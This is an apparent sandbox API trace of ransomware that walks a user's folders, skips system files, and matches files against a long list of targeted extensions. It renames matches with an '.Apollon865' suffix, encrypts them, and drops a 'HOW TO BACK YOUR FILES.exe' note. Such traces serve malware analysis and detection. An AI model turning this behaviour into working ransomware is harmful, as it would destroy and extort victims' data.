	[0088.830] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="perflogs") returned 1
	[0088.830] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="MSBuild") returned 1
	[0088.830] lstrlenW (lpString="Web Slice Gallery.url") returned 21
	[0088.830] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url") returned 65
	[0088.830] lstrcpyW (in: lpString1=0x119e664, lpString2="Web Slice Gallery.url" | out: lpString1="Web Slice Gallery.url") returned="Web Slice Gallery.url"
	[0088.830] lstrlenW (lpString="Web Slice Gallery.url") returned 21
	[0088.830] lstrlenW (lpString="Apollon865") returned 10
	[0088.831] lstrcmpiW (lpString1="allery.url", lpString2="Apollon865") returned -1
	[0088.831] lstrlenW (lpString=".dll") returned 4
	[0088.831] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2=".dll") returned 1
	[0088.831] lstrlenW (lpString=".lnk") returned 4
	[0088.831] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2=".lnk") returned 1
	[0088.831] lstrlenW (lpString=".ini") returned 4
	[0088.831] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2=".ini") returned 1
	[0088.831] lstrlenW (lpString=".sys") returned 4
	[0088.831] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2=".sys") returned 1
	[0088.831] lstrlenW (lpString="Web Slice Gallery.url") returned 21
	[0088.831] lstrlenW (lpString="bak") returned 3
	[0088.831] lstrcmpiW (lpString1="url", lpString2="bak") returned 1
	[0088.831] lstrlenW (lpString="ba_") returned 3
	[0088.831] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1
	[0088.831] lstrlenW (lpString="dbb") returned 3
	[0088.831] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1
	[0088.831] lstrlenW (lpString="vmdk") returned 4
	[0088.831] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1
	[0088.831] lstrlenW (lpString="rar") returned 3
	[0088.831] lstrcmpiW (lpString1="url", lpString2="rar") returned 1
	[0088.831] lstrlenW (lpString="zip") returned 3
	[0088.831] lstrcmpiW (lpString1="url", lpString2="zip") returned -1
	[0088.831] lstrlenW (lpString="tgz") returned 3
	[0088.831] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1
	[0088.831] lstrlenW (lpString="vbox") returned 4
	[0088.831] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1
	[0088.831] lstrlenW (lpString="vdi") returned 3
	[0088.831] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1
	[0088.831] lstrlenW (lpString="vhd") returned 3
	[0088.831] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1
	[0088.831] lstrlenW (lpString="vhdx") returned 4
	[0088.831] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1
	[0088.831] lstrlenW (lpString="avhd") returned 4
	[0088.831] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1
	[0088.831] lstrlenW (lpString="db") returned 2
	[0088.831] lstrcmpiW (lpString1="rl", lpString2="db") returned 1
	[0088.831] lstrlenW (lpString="db2") returned 3
	[0088.832] lstrcmpiW (lpString1="url", lpString2="db2") returned 1
	[0088.832] lstrlenW (lpString="db3") returned 3
	[0088.832] lstrcmpiW (lpString1="url", lpString2="db3") returned 1
	[0088.832] lstrlenW (lpString="dbf") returned 3
	[0088.832] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1
	[0088.832] lstrlenW (lpString="mdf") returned 3
	[0088.832] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1
	[0088.832] lstrlenW (lpString="mdb") returned 3
	[0088.832] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1
	[0088.832] lstrlenW (lpString="sql") returned 3
	[0088.832] lstrcmpiW (lpString1="url", lpString2="sql") returned 1
	[0088.832] lstrlenW (lpString="sqlite") returned 6
	[0088.832] lstrcmpiW (lpString1="ry.url", lpString2="sqlite") returned -1
	[0088.832] lstrlenW (lpString="sqlite3") returned 7
	[0088.832] lstrcmpiW (lpString1="ery.url", lpString2="sqlite3") returned -1
	[0088.832] lstrlenW (lpString="sqlitedb") returned 8
	[0088.832] lstrcmpiW (lpString1="lery.url", lpString2="sqlitedb") returned -1
	[0088.832] lstrlenW (lpString="xml") returned 3
	[0088.832] lstrcmpiW (lpString1="url", lpString2="xml") returned -1
	[0088.832] lstrlenW (lpString="$er") returned 3
	[0088.832] lstrcmpiW (lpString1="url", lpString2="$er") returned 1
	[0088.832] lstrlenW (lpString="4dd") returned 3
	[0088.832] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1
	[0088.832] lstrlenW (lpString="4dl") returned 3
	[0088.832] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1
	[0088.832] lstrlenW (lpString="^^^") returned 3
	[0088.832] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1
	[0088.832] lstrlenW (lpString="abs") returned 3
	[0088.832] lstrcmpiW (lpString1="url", lpString2="abs") returned 1
	[0088.832] lstrlenW (lpString="abx") returned 3
	[0088.832] lstrcmpiW (lpString1="url", lpString2="abx") returned 1
	[0088.832] lstrlenW (lpString="accdb") returned 5
	[0088.832] lstrcmpiW (lpString1="y.url", lpString2="accdb") returned 1
	[0088.832] lstrlenW (lpString="accdc") returned 5
	[0088.832] lstrcmpiW (lpString1="y.url", lpString2="accdc") returned 1
	[0088.832] lstrlenW (lpString="accde") returned 5
	[0088.832] lstrcmpiW (lpString1="y.url", lpString2="accde") returned 1
	[0088.833] lstrlenW (lpString="accdr") returned 5
	[0088.833] lstrcmpiW (lpString1="y.url", lpString2="accdr") returned 1
	[0088.833] lstrlenW (lpString="accdt") returned 5
	[0088.833] lstrcmpiW (lpString1="y.url", lpString2="accdt") returned 1
	[0088.833] lstrlenW (lpString="accdw") returned 5
	[0088.833] lstrcmpiW (lpString1="y.url", lpString2="accdw") returned 1
	[0088.833] lstrlenW (lpString="accft") returned 5
	[0088.833] lstrcmpiW (lpString1="y.url", lpString2="accft") returned 1
	[0088.833] lstrlenW (lpString="adb") returned 3
	[0088.833] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0088.833] lstrlenW (lpString="adb") returned 3
	[0088.833] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0088.833] lstrlenW (lpString="ade") returned 3
	[0088.833] lstrcmpiW (lpString1="url", lpString2="ade") returned 1
	[0088.833] lstrlenW (lpString="adf") returned 3
	[0088.833] lstrcmpiW (lpString1="url", lpString2="adf") returned 1
	[0088.833] lstrlenW (lpString="adn") returned 3
	[0088.833] lstrcmpiW (lpString1="url", lpString2="adn") returned 1
	[0088.833] lstrlenW (lpString="adp") returned 3
	[0088.833] lstrcmpiW (lpString1="url", lpString2="adp") returned 1
	[0088.833] lstrlenW (lpString="alf") returned 3
	[0088.833] lstrcmpiW (lpString1="url", lpString2="alf") returned 1
	[0088.833] lstrlenW (lpString="ask") returned 3
	[0088.833] lstrcmpiW (lpString1="url", lpString2="ask") returned 1
	[0088.833] lstrlenW (lpString="btr") returned 3
	[0088.833] lstrcmpiW (lpString1="url", lpString2="btr") returned 1
	[0088.833] lstrlenW (lpString="cat") returned 3
	[0088.833] lstrcmpiW (lpString1="url", lpString2="cat") returned 1
	[0088.833] lstrlenW (lpString="cdb") returned 3
	[0088.833] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1
	[0088.833] lstrlenW (lpString="ckp") returned 3
	[0088.833] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1
	[0088.833] lstrlenW (lpString="cma") returned 3
	[0088.833] lstrcmpiW (lpString1="url", lpString2="cma") returned 1
	[0088.833] lstrlenW (lpString="cpd") returned 3
	[0088.833] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1
	[0088.833] lstrlenW (lpString="dacpac") returned 6
	[0088.834] lstrcmpiW (lpString1="ry.url", lpString2="dacpac") returned 1
	[0088.834] lstrlenW (lpString="dad") returned 3
	[0088.834] lstrcmpiW (lpString1="url", lpString2="dad") returned 1
	[0088.834] lstrlenW (lpString="dadiagrams") returned 10
	[0088.834] lstrcmpiW (lpString1="allery.url", lpString2="dadiagrams") returned -1
	[0088.834] lstrlenW (lpString="daschema") returned 8
	[0088.834] lstrcmpiW (lpString1="lery.url", lpString2="daschema") returned 1
	[0088.834] lstrlenW (lpString="db-journal") returned 10
	[0088.834] lstrcmpiW (lpString1="allery.url", lpString2="db-journal") returned -1
	[0088.834] lstrlenW (lpString="db-shm") returned 6
	[0088.834] lstrcmpiW (lpString1="ry.url", lpString2="db-shm") returned 1
	[0088.834] lstrlenW (lpString="db-wal") returned 6
	[0088.834] lstrcmpiW (lpString1="ry.url", lpString2="db-wal") returned 1
	[0088.834] lstrlenW (lpString="dbc") returned 3
	[0088.834] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1
	[0088.834] lstrlenW (lpString="dbs") returned 3
	[0088.834] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1
	[0088.834] lstrlenW (lpString="dbt") returned 3
	[0088.834] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1
	[0088.834] lstrlenW (lpString="dbv") returned 3
	[0088.834] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1
	[0088.834] lstrlenW (lpString="dbx") returned 3
	[0088.834] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1
	[0088.834] lstrlenW (lpString="dcb") returned 3
	[0088.834] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1
	[0088.835] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url.Apollon865") returned 78
	[0088.835] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url.apollon865"), dwFlags=0x1) returned 1
	[0088.836] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.836] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=226) returned 1
	[0088.836] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.837] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0088.837] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0088.837] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0088.837] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.838] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.838] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3f0, lpName=0x0) returned 0x15c
	[0088.840] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3f0) returned 0x100000
	[0088.841] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0088.842] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.842] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.842] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.842] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.842] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.842] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.842] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.842] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.842] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0088.842] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.842] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0088.842] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.842] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.842] CloseHandle (hObject=0x15c) returned 1
	[0088.842] CloseHandle (hObject=0x9c) returned 1
	[0088.842] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.843] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0088.843] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.843] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0
	[0088.843] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0088.843] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b79b0
	[0088.843] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads"
	[0088.843] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bcac0 | out: hHeap=0x580000) returned 1
	[0088.843] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0088.843] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads") returned 39
	[0088.843] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads"
	[0088.843] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0088.843] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0088.844] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0088.844] GetLastError () returned 0x0
	[0088.844] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0088.844] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0088.844] CloseHandle (hObject=0x10c) returned 1
	[0088.844] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0088.845] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0088.845] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x30480f10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30480f10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0088.845] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.845] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0088.845] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0088.845] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x30480f10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30480f10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.845] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.845] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0088.845] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0088.845] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0088.845] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0088.845] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.845] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0088.845] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0088.845] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0088.845] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0088.845] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0088.845] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0088.845] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0088.845] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0088.846] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0088.846] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0088.846] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0088.846] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0088.846] lstrlenW (lpString="desktop.ini") returned 11
	[0088.846] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*") returned 41
	[0088.846] lstrcpyW (in: lpString1=0x119e658, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0088.846] lstrlenW (lpString="desktop.ini") returned 11
	[0088.846] lstrlenW (lpString="Apollon865") returned 10
	[0088.846] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0088.846] lstrlenW (lpString=".dll") returned 4
	[0088.846] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0088.846] lstrlenW (lpString=".lnk") returned 4
	[0088.846] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0088.846] lstrlenW (lpString=".ini") returned 4
	[0088.846] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0088.846] lstrlenW (lpString=".sys") returned 4
	[0088.846] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0088.846] lstrlenW (lpString="desktop.ini") returned 11
	[0088.846] lstrlenW (lpString="bak") returned 3
	[0088.846] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0088.846] lstrlenW (lpString="ba_") returned 3
	[0088.846] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0088.846] lstrlenW (lpString="dbb") returned 3
	[0088.846] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0088.846] lstrlenW (lpString="vmdk") returned 4
	[0088.846] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0088.846] lstrlenW (lpString="rar") returned 3
	[0088.846] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0088.846] lstrlenW (lpString="zip") returned 3
	[0088.846] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0088.846] lstrlenW (lpString="tgz") returned 3
	[0088.846] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0088.846] lstrlenW (lpString="vbox") returned 4
	[0088.846] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0088.846] lstrlenW (lpString="vdi") returned 3
	[0088.846] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0088.847] lstrlenW (lpString="vhd") returned 3
	[0088.847] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0088.847] lstrlenW (lpString="vhdx") returned 4
	[0088.847] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0088.847] lstrlenW (lpString="avhd") returned 4
	[0088.847] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0088.847] lstrlenW (lpString="db") returned 2
	[0088.847] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0088.847] lstrlenW (lpString="db2") returned 3
	[0088.847] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0088.847] lstrlenW (lpString="db3") returned 3
	[0088.847] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0088.847] lstrlenW (lpString="dbf") returned 3
	[0088.847] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0088.847] lstrlenW (lpString="mdf") returned 3
	[0088.847] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0088.847] lstrlenW (lpString="mdb") returned 3
	[0088.847] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0088.847] lstrlenW (lpString="sql") returned 3
	[0088.847] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0088.847] lstrlenW (lpString="sqlite") returned 6
	[0088.847] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0088.847] lstrlenW (lpString="sqlite3") returned 7
	[0088.847] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0088.847] lstrlenW (lpString="sqlitedb") returned 8
	[0088.847] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0088.847] lstrlenW (lpString="xml") returned 3
	[0088.847] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0088.847] lstrlenW (lpString="$er") returned 3
	[0088.847] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0088.847] lstrlenW (lpString="4dd") returned 3
	[0088.847] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0088.847] lstrlenW (lpString="4dl") returned 3
	[0088.847] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0088.847] lstrlenW (lpString="^^^") returned 3
	[0088.847] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0088.847] lstrlenW (lpString="abs") returned 3
	[0088.848] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0088.848] lstrlenW (lpString="abx") returned 3
	[0088.848] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0088.848] lstrlenW (lpString="accdb") returned 5
	[0088.848] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0088.848] lstrlenW (lpString="accdc") returned 5
	[0088.848] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0088.848] lstrlenW (lpString="accde") returned 5
	[0088.848] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0088.848] lstrlenW (lpString="accdr") returned 5
	[0088.848] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0088.848] lstrlenW (lpString="accdt") returned 5
	[0088.848] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0088.848] lstrlenW (lpString="accdw") returned 5
	[0088.848] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0088.848] lstrlenW (lpString="accft") returned 5
	[0088.848] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0088.848] lstrlenW (lpString="adb") returned 3
	[0088.848] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0088.848] lstrlenW (lpString="adb") returned 3
	[0088.848] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0088.848] lstrlenW (lpString="ade") returned 3
	[0088.848] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0088.848] lstrlenW (lpString="adf") returned 3
	[0088.848] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0088.848] lstrlenW (lpString="adn") returned 3
	[0088.848] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0088.848] lstrlenW (lpString="adp") returned 3
	[0088.848] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0088.848] lstrlenW (lpString="alf") returned 3
	[0088.848] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0088.848] lstrlenW (lpString="ask") returned 3
	[0088.848] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0088.848] lstrlenW (lpString="btr") returned 3
	[0088.848] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0088.848] lstrlenW (lpString="cat") returned 3
	[0088.848] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0088.848] lstrlenW (lpString="cdb") returned 3
	[0088.849] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0088.849] lstrlenW (lpString="ckp") returned 3
	[0088.849] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0088.849] lstrlenW (lpString="cma") returned 3
	[0088.849] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0088.849] lstrlenW (lpString="cpd") returned 3
	[0088.849] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0088.849] lstrlenW (lpString="dacpac") returned 6
	[0088.849] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0088.849] lstrlenW (lpString="dad") returned 3
	[0088.849] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0088.849] lstrlenW (lpString="dadiagrams") returned 10
	[0088.849] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0088.849] lstrlenW (lpString="daschema") returned 8
	[0088.849] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0088.849] lstrlenW (lpString="db-journal") returned 10
	[0088.849] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0088.849] lstrlenW (lpString="db-shm") returned 6
